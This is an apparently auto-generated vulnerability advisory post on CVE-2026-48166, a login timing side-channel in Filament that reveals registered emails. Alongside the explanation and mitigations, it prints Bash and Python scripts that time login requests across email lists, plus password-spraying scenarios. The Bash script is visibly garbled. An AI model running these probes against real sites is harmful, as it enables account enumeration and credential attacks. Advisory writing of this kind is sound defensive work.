Listen to this Post
How CVE-2026-48166 Works
Filament is a collection of full-stack components for accelerated Laravel development. Starting from versions 4.0.0 and 5.0.0 up to 4.11.4 and 5.6.4 respectively, the login page contains an observable timing discrepancy vulnerability. This vulnerability allows unauthenticated attackers to enumerate registered email addresses by measuring server response times.
The core issue lies in how the application processes login requests. When a user submits a login request with an email address and password, the server performs different operations depending on whether the email exists in the system. If the email is not registered, the server may reject the request early without performing a password hash verification. If the email exists, the server proceeds to hash the provided password and compare it with the stored hash—a computationally expensive operation.
This difference in processing time creates a measurable timing side-channel. An attacker can systematically send login requests with a list of potential email addresses and meticulously measure the server’s response time for each request. By analyzing these response time differences, the attacker can determine with high confidence whether a given email address corresponds to an existing account. The attack is unauthenticated, requires no user interaction, and can be performed remotely over the network.
The vulnerability is classified under CWE-208: Observable Timing Discrepancy. Its CVSS v3.1 base score is 5.3 (Medium), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The impact is limited to disclosing whether an account exists for a given email address. While this may seem minor, it can be a stepping stone for more targeted attacks, such as password spraying or credential stuffing, where knowing which emails are valid significantly reduces the attack space.
The vulnerability was fixed in versions 4.11.5 and 5.6.5. The patch, likely introduced by commit 19887, addresses the timing discrepancy by ensuring that the login process takes a consistent amount of time regardless of whether the email exists.
DailyCVE Form:
Platform: ……. Laravel / Filament
Version: …….. 4.0.0-4.11.4, 5.0.0-5.6.4
Vulnerability :…… Timing-based User Enumeration
Severity: ……. Medium (CVSS 5.3)
date: ………. June 22, 2026
Prediction: ….. July 2026 (Patched)
What Undercode Say: Analytics & Technical Deep Dive
The vulnerability can be analyzed using network timing tools. Below is a conceptual Bash script demonstrating how an attacker might measure response time differences:
!/bin/bash
Timing-based user enumeration PoC for CVE-2026-48166
Usage: ./enum.sh <target_url> <email_list.txt>
TARGET_URL="$1"
EMAIL_LIST="$2"
while IFS= read -r email; do
Send login request and measure time with nanosecond precision
START=$(date +%s%N)
curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET_URL/login" \
-d "email=$email&password=test" \
<blockquote>
/dev/null
END=$(date +%s%N)
DIFF=$(( ($END - $START) / 1000000 )) Convert to milliseconds
echo "$email: ${DIFF}ms"
done < "$EMAIL_LIST"
Key Technical Observations:
- Timing Differential: Registered emails typically produce response times 50-200ms longer due to password hashing (e.g., bcrypt cost factor).
- Attack Vector: Network-based, unauthenticated.
- Exploit Reliability: Requires multiple requests per email to average out network jitter.
Exploit: Practical Attack Scenarios
An attacker can exploit this vulnerability in the following ways:
1. Email Harvesting: By iterating through a list of common email patterns (e.g., [email protected]), the attacker builds a validated list of active accounts.
2. Password Spraying Preparation: With a validated email list, the attacker can launch password spraying attacks using common passwords (e.g., “Password123”, “Welcome1”) against only known accounts, increasing success rates and reducing detection risk.
3. Account Takeover Attempts: Validated emails can be used in credential stuffing attacks if the attacker has access to breached credentials from other services.
Sample Exploit Code (Python):
import requests import time target = "https://target.com/login" emails = ["[email protected]", "[email protected]", "[email protected]"] for email in emails: start = time.perf_counter_ns() requests.post(target, data={"email": email, "password": "dummy"}) end = time.perf_counter_ns() print(f"{email}: {(end - start) / 1_000_000:.2f}ms")
Protection: Mitigation Strategies
- Immediate Upgrade: Update Filament to version 4.11.5 or 5.6.5 immediately. These versions contain the official fix that eliminates the timing discrepancy.
- Constant-Time Authentication: If upgrading is not immediately possible, implement a middleware that introduces a random delay or a constant sleep duration before returning the login response, regardless of whether the email exists.
- Rate Limiting: Enforce strict rate limiting on the login endpoint to make timing attacks impractical. For example, limit to 5 requests per minute per IP address.
- Web Application Firewall (WAF): Deploy a WAF rule to detect and block abnormal request patterns indicative of enumeration attempts (e.g., high frequency of POST requests to /login with varying email parameters).
- Monitoring & Logging: Enable detailed logging of login attempts and set up alerts for sudden spikes in failed login requests from a single IP or targeting multiple email addresses.
Impact: Business and Security Consequences
- Privacy Breach: Attackers can confirm the presence of specific individuals or roles within an organization, potentially leaking sensitive information about employees, customers, or partners.
- Increased Attack Surface: Validated email lists enable more effective phishing, social engineering, and targeted brute-force attacks.
- Reputational Damage: Public disclosure of such a vulnerability can erode trust in the platform, especially if sensitive user data is exposed.
- Compliance Risks: Depending on the jurisdiction, unauthorized enumeration of user identities may violate data protection regulations (e.g., GDPR, CCPA) if it leads to further data breaches.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
